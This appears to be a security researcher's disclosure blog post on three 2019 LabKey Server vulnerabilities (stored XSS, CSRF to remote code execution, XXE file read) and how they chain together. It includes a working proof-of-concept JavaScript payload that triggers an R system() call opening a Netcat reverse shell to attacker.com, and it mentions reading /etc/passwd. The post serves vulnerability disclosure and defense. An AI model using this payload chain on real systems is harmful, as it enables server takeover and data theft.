Introduction to LabKey Server and the Discovered Vulnerabilities
This blog is a walkthrough of the three different vulnerabilities we discovered in the LabKey Server, a biomedical research platform–Stored XSS (CVE-2019-9758), CSRF leading to RCE (CVE-2019-9926), and XXE (CVE-2019-9757) allowing arbitrary file read. By combining the XSS and CSRF vulnerabilities, it was possible to utilize intended functionality of the application to then gain Remote Code Execution on the server hosting the LabKey Server.
We would like to thank LabKey Corporation for their excellent response when we disclosed these vulnerabilities and for working with us to get everything resolved. The issues were quickly patched as well as backported to older versions of the product still in use to protect their customers. Check out their notes on these issues here.
LabKey Server “is an open-source software platform designed to help research organizations integrate, analyze, and share complex biomedical data”. It allows biomedical data to be stored, shared and processed, while also allowing users to generate reports based on the data.
Stored XSS: CVE-2019-9758
The Cross-Site Scripting vulnerability we discovered in the application was fairly straightforward. Changing any user’s username to an XSS payload would result in the payload executing in various drop-down menus of the administrator portal.
The screenshot below shows the result of setting a basic user’s username to the value of:
When an administrator triggers the auto lookup in the “Clone permissions from user” menu, the XSS will execute on the administrator.
The important thing to note with this issue is that it executed in the administration portal of the application, allowing a basic low level user to target administrators of the application. This also meant that it would allow a low level user to trigger code to be executed using XSS leading to RCE, which will be demonstrated later in the post.
This CVE has been added to our CVE repo on GitHub, you can check it out here.
The LabKey Server has the ability to use R scripts (as well as other scripting languages) to build custom reports using different data. Most of the functionality which allowed running the scripts prevented CSRF.
However, we found that by modifying one of the POST requests to a GET request, and by moving some parameters to the URL query string, it was possible to execute arbitrary code when targeting an administrator.
The image below shows the initial request that is sent when clicking the “Report” tab to view a report. This will execute the R script to process the data and generate the report.
Sending the request above with no CSRF token included in it resulted in the following error.
The image below shows the request being modified to a GET and moving some of the parameters to the query string, allowed the request to succeed.
This resulted in the command “cat /etc/passwd” being executed on the server as seen below.
This CVE has been added to our CVE repo on GitHub–check it out here.
The reports that the application produces for the data that it handles are created by generating an SVG image to display the graph of data. The SVG data can also be converted to a PNG or PDF within the application. This is done by passing user-controlled XML to the Apache Batik library, which was out-of-date and vulnerable to XXE–a vulnerability that was previously reported as CVE-2015-0250.
Rendering Arbitrary Server File Contents
This configuration allowed XML data containing External Entities to be sent, making it possible to render the contents of arbitrary server files into the generated PDF. The contents of “/etc/passwd” can be seen being rendered into a PDF in the image below when converting an SVG to a PDF.
This CVE has been added to our CVE repo on GitHub, which you can find here.
Chaining Vulnerabilities To Achieve RCE
Executing the Payload
Here, a simple “system” call is made using R script to execute a reverse shell using Netcat.
Host a file xss.js containing:
var xss = document.createElement('img'); xss.src="http://localhost:8080/labkey/reports-viewScriptReport.view?reportType=ReportService.rReport&script=system('/bin/nc -e /bin/sh attacker.com 8999')";
Then, use the XSS vulnerability to execute the payload by changing a username to:
The PoC for this can be seen in the following GIF.
These issues demonstrate how vulnerabilities that are typically lower impact can be chained together to have a serious impact on the application. It is very important that when an application provides powerful functionality–such as being able to execute commands, scripts or any other sensitive administrative functions–special attention is given to the details of the security surrounding that portion of the application.
Again, we would like to thank LabKey on an excellent response and handling of these issues when we brought them to their attention.
March 19, 2019 — XXE and XSS reported to LabKey
March 21, 2019 — CSRF reported to LabKey
March 28, 2019 — Fixed build for LabKey Server 19.1.1 and backported for 17.2,18.2,18.3